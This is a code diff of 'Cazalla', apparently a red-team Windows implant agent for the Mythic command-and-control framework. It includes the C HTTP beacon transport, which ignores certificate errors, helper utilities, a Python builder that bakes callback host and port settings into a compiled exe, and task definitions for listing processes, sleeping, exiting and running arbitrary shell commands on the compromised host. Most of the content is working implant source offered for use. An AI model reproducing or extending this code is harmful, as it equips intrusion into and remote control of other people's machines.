// Crear sesión HTTP // Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL; if (!hSesion) return NULL;
// Conectar al servidor // Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL; if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS // Crear petición HTTP/HTTPS
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL; if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS // Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) { if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
} }
// Configurar proxy si está habilitado // Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy; infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy)); WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
} }
} }
// Enviar la petición // Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError()); _err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL; return NULL;
} }
// Recibir respuesta // Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) { if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n"); _err("Error al recibir respuesta HTTP\n");
return NULL; return NULL;
} }
codigoDeEstado = obtenerCodigoDeEstado(hPeticion); codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) { if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); _err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL; return NULL;
} }
// Leer respuesta // Leer respuesta
do { do {
dwTamano = 1024; dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); _err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL; return NULL;
} }
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); _err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL; return NULL;
} }
respSize += dwDescargado; respSize += dwDescargado;
if (!respBuffer) { if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize); respBuffer = LocalAlloc(LPTR, respSize);
} }
else { else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT); respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
} }
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024); memset(buffer, 0, 1024);
} while (dwTamano > 0); } while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize); return nuevoAnalizador((PBYTE)respBuffer, respSize);
} }
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT #ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano); return realizarPeticionHTTP(datos, tamano);
#endif #endif
return NULL; return NULL;
} }
@@ -1,16 +1,16 @@
#pragma once #pragma once
#ifndef TRANSPORTE #ifndef TRANSPORTE
#define TRANSPORTE #define TRANSPORTE
#include <windows.h> #include <windows.h>
#include <winhttp.h> #include <winhttp.h>
#include "cazalla.h" #include "cazalla.h"
#include "analizador.h" #include "analizador.h"
#pragma comment(lib, "winhttp.lib") #pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT #define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano); Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#endif #endif
@@ -1,198 +1,196 @@
#include "utils.h" #include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
43, 44, 45, 46, 47, 48, 49, 50, 51 }; 43, 44, 45, 46, 47, 48, 49, 50, 51 };
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t b64tamanoCodificado(size_t inlen) { size_t b64tamanoCodificado(size_t inlen) {
size_t ret; size_t ret;
ret = inlen; ret = inlen;
if (inlen % 3 != 0) if (inlen % 3 != 0)
ret += 3 - (inlen % 3); ret += 3 - (inlen % 3);
ret /= 3; ret /= 3;
ret *= 4; ret *= 4;
return ret; return ret;
} }
int aleatorioInt32(int min, int max){ int aleatorioInt32(int min, int max) {
return (rand() % (max - min + 1)) + min; return (rand() % (max - min + 1)) + min;
} }
char* b64Codificado(const unsigned char* in, SIZE_T len) { char* b64Codificado(const unsigned char* in, SIZE_T len) {
char* out; char* out;
SIZE_T elen; SIZE_T elen;
SIZE_T i; SIZE_T i;
SIZE_T j; SIZE_T j;
SIZE_T v; SIZE_T v;
if (in == NULL || len == 0) { if (in == NULL || len == 0) {
return NULL; return NULL;
} }
elen = b64tamanoCodificado(len); elen = b64tamanoCodificado(len);
out = (char*)LocalAlloc(LPTR, elen + 1); out = (char*)LocalAlloc(LPTR, elen + 1);
if (!out) { if (!out) {
return NULL; return NULL;
} }
out[elen] = '\0'; out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) { for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i]; v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F]; out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F]; out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) { if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F]; out[j + 2] = b64chars[(v >> 6) & 0x3F];
} }
else { else {
out[j + 2] = '='; out[j + 2] = '=';
} }
if (i + 2 < len) { if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F]; out[j + 3] = b64chars[v & 0x3F];
} }
else { else {
out[j + 3] = '='; out[j + 3] = '=';
} }
} }
return out; return out;
} }
SIZE_T b64tamanoDecodificado(const char* in) { SIZE_T b64tamanoDecodificado(const char* in) {
SIZE_T len; SIZE_T len;
SIZE_T ret; SIZE_T ret;
SIZE_T i; SIZE_T i;
if (in == NULL) { if (in == NULL) {
return 0; return 0;
} }
len = strlen(in); len = strlen(in);
ret = len / 4 * 3; ret = len / 4 * 3;
for (i = len; i-- > 0; ) { for (i = len; i-- > 0; ) {
if (in[i] == '=') { if (in[i] == '=') {
ret--; ret--;
} }
else { else {
break; break;
} }
} }
return ret; return ret;
} }
int b64IsValidChar(char c) { int b64IsValidChar(char c) {
if (c >= '0' && c <= '9') { if (c >= '0' && c <= '9') {
return 1; return 1;
} }
if (c >= 'A' && c <= 'Z') { if (c >= 'A' && c <= 'Z') {
return 1; return 1;
} }
if (c >= 'a' && c <= 'z') { if (c >= 'a' && c <= 'z') {
return 1; return 1;
} }
if (c == '+' || c == '/' || c == '=') { if (c == '+' || c == '/' || c == '=') {
return 1; return 1;
} }
return 0; return 0;
} }
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
SIZE_T len;
SIZE_T len; SIZE_T i;
SIZE_T i; SIZE_T j;
SIZE_T j; int v;
int v;
if (in == NULL || out == NULL) {
if (in == NULL || out == NULL) { return 0;
return 0; }
}
len = strlen(in);
len = strlen(in); if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) { return 0;
return 0; }
}
for (i = 0; i < len; i++) {
for (i = 0; i < len; i++) { if (!b64IsValidChar(in[i])) {
if (!b64IsValidChar(in[i])) { return 0;
return 0; }
} }
}
for (i = 0, j = 0; i < len; i += 4, j += 3) {
for (i = 0, j = 0; i < len; i += 4, j += 3) { v = b64invs[in[i] - 43];
v = b64invs[in[i] - 43]; v = (v << 6) | b64invs[in[i + 1] - 43];
v = (v << 6) | b64invs[in[i + 1] - 43]; v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43]; v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
out[j] = (v >> 16) & 0xFF;
out[j] = (v >> 16) & 0xFF; if (in[i + 2] != '=') {
if (in[i + 2] != '=') { out[j + 1] = (v >> 8) & 0xFF;
out[j + 1] = (v >> 8) & 0xFF; }
} if (in[i + 3] != '=') {
if (in[i + 3] != '=') { out[j + 2] = v & 0xFF;
out[j + 2] = v & 0xFF;
}
} }
} return 1;
return 1; }
}
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { (buffer)[0] = (value >> 24) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF;
(buffer)[0] = (value >> 24) & 0xFF; (buffer)[2] = (value >> 8) & 0xFF;
(buffer)[1] = (value >> 16) & 0xFF; (buffer)[3] = (value) & 0xFF;
(buffer)[2] = (value >> 8) & 0xFF; }
(buffer)[3] = (value) & 0xFF;
} VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { buffer[7] = value & 0xFF;
value >>= 8;
buffer[7] = value & 0xFF;
value >>= 8; buffer[6] = value & 0xFF;
value >>= 8;
buffer[6] = value & 0xFF;
value >>= 8; buffer[5] = value & 0xFF;
value >>= 8;
buffer[5] = value & 0xFF;
value >>= 8; buffer[4] = value & 0xFF;
value >>= 8;
buffer[4] = value & 0xFF;
value >>= 8; buffer[3] = value & 0xFF;
value >>= 8;
buffer[3] = value & 0xFF;
value >>= 8; buffer[2] = value & 0xFF;
value >>= 8;
buffer[2] = value & 0xFF;
value >>= 8; buffer[1] = value & 0xFF;
value >>= 8;
buffer[1] = value & 0xFF;
value >>= 8; buffer[0] = value & 0xFF;
buffer[0] = value & 0xFF;
} }
@@ -1,27 +1,27 @@
#pragma once #pragma once
#ifndef UTILS #ifndef UTILS
#define UTILS #define UTILS
#include <windows.h> #include <windows.h>
#include <stdlib.h> #include <stdlib.h>
#include <time.h> #include <time.h>
#include "debug.h" #include "debug.h"
#ifdef __MINGW64__ #ifdef __MINGW64__
#define BYTESWAP32(x) __builtin_bswap32( x ) #define BYTESWAP32(x) __builtin_bswap32( x )
#define BYTESWAP64(x) __builtin_bswap64( x ) #define BYTESWAP64(x) __builtin_bswap64( x )
#endif #endif
#ifdef _MSC_VER #ifdef _MSC_VER
#define BYTESWAP32(x) _byteswap_ulong(x) #define BYTESWAP32(x) _byteswap_ulong(x)
#define BYTESWAP64(x) _byteswap_uint64(x) #define BYTESWAP64(x) _byteswap_uint64(x)
#endif #endif
SIZE_T b64tamanoDecodificado(const char* in); SIZE_T b64tamanoDecodificado(const char* in);
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen); int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
char* b64Codificado(const unsigned char* in, SIZE_T len); char* b64Codificado(const unsigned char* in, SIZE_T len);
size_t b64tamanoCodificado(size_t inlen); size_t b64tamanoCodificado(size_t inlen);
int aleatorioInt32(int min, int max); int aleatorioInt32(int min, int max);
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
#endif #endif
@@ -1,131 +1,131 @@
import pathlib import pathlib
import tempfile import tempfile
from mythic_container.PayloadBuilder import * from mythic_container.PayloadBuilder import *
from mythic_container.MythicCommandBase import * from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import * from mythic_container.MythicRPC import *
import json import json
from distutils.dir_util import copy_tree from distutils.dir_util import copy_tree
import asyncio import asyncio
class CazallaAgent(PayloadType): class CazallaAgent(PayloadType):
name = "Cazalla" name = "Cazalla"
file_extension = "exe" file_extension = "exe"
author = "OFSTeam" author = "OFSTeam"
supported_os = [SupportedOS.Windows] supported_os = [SupportedOS.Windows]
wrapper = False wrapper = False
wrapped_payloads = [] wrapped_payloads = []
note = """C implant Developed by the Kaseya OFSTeam""" note = """C implant Developed by the Kaseya OFSTeam"""
supports_dynamic_loading = False supports_dynamic_loading = False
c2_profiles = ["http"] c2_profiles = ["http"]
mythic_encrypts = False mythic_encrypts = False
translation_container = "cazalla_translator" translation_container = "cazalla_translator"
build_parameters = [ build_parameters = [
BuildParameter( BuildParameter(
name="output", name="output",
parameter_type=BuildParameterType.ChooseOne, parameter_type=BuildParameterType.ChooseOne,
description="Choose output format", description="Choose output format",
choices=["exe", "dll", "debug_exe","debug_dll"], choices=["exe", "dll", "debug_exe","debug_dll"],
default_value="exe" default_value="exe"
), ),
] ]
agent_path = pathlib.Path(".") / "cazalla" agent_path = pathlib.Path(".") / "cazalla"
agent_icon_path = agent_path / "agent_functions" / "cazalla.png" agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
agent_code_path = agent_path / "agent_code" agent_code_path = agent_path / "agent_code"
build_steps = [ build_steps = [
BuildStep(step_name="Gathering Files", step_description="Creating script payload"), BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
BuildStep(step_name="Compiling", step_description="Compiling with mingw"), BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
] ]
async def build(self) -> BuildResponse: async def build(self) -> BuildResponse:
# this function gets called to create an instance of your payload # this function gets called to create an instance of your payload
resp = BuildResponse(status=BuildStatus.Success) resp = BuildResponse(status=BuildStatus.Success)
Config = { Config = {
"payload_uuid": self.uuid, "payload_uuid": self.uuid,
"callback_host": "", "callback_host": "",
"USER_AGENT": "", "USER_AGENT": "",
"httpMethod": "POST", "httpMethod": "POST",
"post_uri": "", "post_uri": "",
"headers": [], "headers": [],
"callback_port": 80, "callback_port": 80,
"ssl":False, "ssl":False,
"proxyEnabled": False, "proxyEnabled": False,
"proxy_host": "", "proxy_host": "",
"proxy_user": "", "proxy_user": "",
"proxy_pass": "", "proxy_pass": "",
} }
stdout_err = "" stdout_err = ""
for c2 in self.c2info: for c2 in self.c2info:
profile = c2.get_c2profile() profile = c2.get_c2profile()
for key, val in c2.get_parameters_dict().items(): for key, val in c2.get_parameters_dict().items():
if isinstance(val, dict) and 'enc_key' in val: if isinstance(val, dict) and 'enc_key' in val:
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "") stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
else: else:
Config[key] = val Config[key] = val
break break
if "https://" in Config["callback_host"]: if "https://" in Config["callback_host"]:
Config["ssl"] = True Config["ssl"] = True
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
if Config["proxy_host"] != "": if Config["proxy_host"] != "":
Config["proxyEnabled"] = True Config["proxyEnabled"] = True
# create the payload # create the payload
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Gathering Files", StepName="Gathering Files",
StepStdout="Found all files for payload", StepStdout="Found all files for payload",
StepSuccess=True StepSuccess=True
)) ))
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
copy_tree(str(self.agent_code_path), agent_build_path.name) copy_tree(str(self.agent_code_path), agent_build_path.name)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Applying configuration", StepName="Applying configuration",
StepStdout="All configuration setting applied", StepStdout="All configuration setting applied",
StepSuccess=True StepSuccess=True
)) ))
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f: with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
content = f.read() content = f.read()
content = content.replace("%UUID%", Config["payload_uuid"]) content = content.replace("%UUID%", Config["payload_uuid"])
content = content.replace("%HOSTNAME%", Config["callback_host"]) content = content.replace("%HOSTNAME%", Config["callback_host"])
content = content.replace("%ENDPOINT%", Config["post_uri"]) content = content.replace("%ENDPOINT%", Config["post_uri"])
if Config["ssl"]: if Config["ssl"]:
content = content.replace("%SSL%", "TRUE") content = content.replace("%SSL%", "TRUE")
else: else:
content = content.replace("%SSL%", "FALSE") content = content.replace("%SSL%", "FALSE")
content = content.replace("%PORT%", str(Config["callback_port"])) content = content.replace("%PORT%", str(Config["callback_port"]))
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
content = content.replace("%USERAGENT%", Config["USER_AGENT"]) content = content.replace("%USERAGENT%", Config["USER_AGENT"])
content = content.replace("%PROXYURL%", Config["proxy_host"]) content = content.replace("%PROXYURL%", Config["proxy_host"])
if Config["proxyEnabled"]: if Config["proxyEnabled"]:
content = content.replace("%PROXYENABLED%", "TRUE") content = content.replace("%PROXYENABLED%", "TRUE")
else: else:
content = content.replace("%PROXYENABLED%", "FALSE") content = content.replace("%PROXYENABLED%", "FALSE")
f.seek(0) f.seek(0)
f.write(content) f.write(content)
f.truncate() f.truncate()
command = "make -C {} exe".format(agent_build_path.name+"/cazalla") command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
filename = agent_build_path.name + "/cazalla/build/cazalla.exe" filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE) stderr=asyncio.subprocess.PIPE)
stdout, stderr = await proc.communicate() stdout, stderr = await proc.communicate()
print(stdout) print(stdout)
print(stderr) print(stderr)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid, PayloadUUID=self.uuid,
StepName="Compiling", StepName="Compiling",
StepStdout="Successfuly compiled Ra", StepStdout="Successfuly compiled Ra",
StepSuccess=True StepSuccess=True
)) ))
build_msg = "" build_msg = ""
resp.payload = open(filename, "rb").read() resp.payload = open(filename, "rb").read()
return resp return resp
@@ -1,38 +1,38 @@
from mythic_container.MythicCommandBase import * from mythic_container.MythicCommandBase import *
import json import json
class ExitArguments(TaskArguments): class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs): def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs) super().__init__(command_line, **kwargs)
self.args = [] self.args = []
async def parse_arguments(self): async def parse_arguments(self):
if len(self.command_line) > 0: if len(self.command_line) > 0:
raise Exception("Este comando no debe tener parametros") raise Exception("Este comando no debe tener parametros")
class ExitCommand(CommandBase): class ExitCommand(CommandBase):
cmd = "exit" cmd = "exit"
needs_admin = False needs_admin = False
help_cmd = "exit" help_cmd = "exit"
description = "Task para cerrar el proceso del implante" description = "Task para cerrar el proceso del implante"
version = 1 version = 1
supported_ui_features = ["callback_table:exit"] supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam" author = "Kaseya OFSTeam"
argument_class = ExitArguments argument_class = ExitArguments
attackmapping = [] attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse( response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID, TaskID=taskData.Task.ID,
Success=True, Success=True,
) )
type = taskData.args.get_arg("type") type = taskData.args.get_arg("type")
response.DisplayParams = type response.DisplayParams = type
return response return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp return resp
@@ -0,0 +1,44 @@
from mythic_container.MythicCommandBase import *
import json
class PsArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("ps no debe lanzarse con parametros")
class PsCommand(CommandBase):
cmd = "ps"
needs_admin = False
help_cmd = "ps"
description = "Lista los procesos del host."
version = 1
supported_ui_features = ["process_browser:list"]
author = "Kaseya OFSTeam"
argument_class = PsArguments
browser_script = BrowserScript(
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
)
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
attackmapping = []
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -1,44 +1,44 @@
from mythic_container.MythicCommandBase import * from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import * from mythic_container.MythicRPC import *
class ShellArguments(TaskArguments): class ShellArguments(TaskArguments):
def __init__(self, command_line, **kwargs): def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs) super().__init__(command_line, **kwargs)
self.args = [ self.args = [
CommandParameter( CommandParameter(
name="command", name="command",
type=ParameterType.String, type=ParameterType.String,
description="Comando a ejecutar" description="Comando a ejecutar"
), ),
] ]
async def parse_arguments(self): async def parse_arguments(self):
if len(self.command_line) == 0: if len(self.command_line) == 0:
raise ValueError("Se debe indicar un comando") raise ValueError("Se debe indicar un comando")
self.add_arg("command", self.command_line) self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments): async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments) self.load_args_from_dictionary(dictionary_arguments)
class ShellCommand(CommandBase): class ShellCommand(CommandBase):
cmd = "shell" cmd = "shell"
needs_admin = False needs_admin = False
help_cmd = "shell {command}" help_cmd = "shell {command}"
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC" description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
version = 1 version = 1
author = "Kaseya OFSTeam" author = "Kaseya OFSTeam"
attackmapping = ["T1059"] attackmapping = ["T1059"]
argument_class = ShellArguments argument_class = ShellArguments
attributes = CommandAttributes( attributes = CommandAttributes(
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows] supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
) )
async def create_tasking(self, task: MythicTask) -> MythicTask: async def create_tasking(self, task: MythicTask) -> MythicTask:
task.display_params = task.args.get_arg("command") task.display_params = task.args.get_arg("command")
return task return task
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp return resp
@@ -1,83 +1,83 @@
from mythic_container.MythicCommandBase import * from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import * from mythic_container.MythicRPC import *
import logging import logging
logging.basicConfig(level=logging.INFO) logging.basicConfig(level=logging.INFO)
class SleepArguments(TaskArguments): class SleepArguments(TaskArguments):
def __init__(self, command_line, **kwargs): def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs) super().__init__(command_line, **kwargs)
self.args = [ self.args = [
CommandParameter( CommandParameter(
name="seconds", name="seconds",
type=ParameterType.Number, type=ParameterType.Number,
description="Sleep en segundos", description="Sleep en segundos",
parameter_group_info=[ParameterGroupInfo( parameter_group_info=[ParameterGroupInfo(
required=True, required=True,
ui_position=1 ui_position=1
)] )]
), ),
CommandParameter( CommandParameter(
name="jitter", name="jitter",
type=ParameterType.Number, type=ParameterType.Number,
description="Porcentaje del jitter en segundos", description="Porcentaje del jitter en segundos",
parameter_group_info=[ParameterGroupInfo( parameter_group_info=[ParameterGroupInfo(
required=False, required=False,
ui_position=2 ui_position=2
)] )]
), ),
] ]
async def parse_arguments(self): async def parse_arguments(self):
logging.info(f"parse_arguments : {self.command_line}") logging.info(f"parse_arguments : {self.command_line}")
if len(self.command_line) == 0: if len(self.command_line) == 0:
raise ValueError("Must supply a command to run") raise ValueError("Must supply a command to run")
self.add_arg("command", self.command_line) self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments): async def parse_dictionary(self, dictionary_arguments):
logging.info(f"parse_dictionary : {dictionary_arguments}") logging.info(f"parse_dictionary : {dictionary_arguments}")
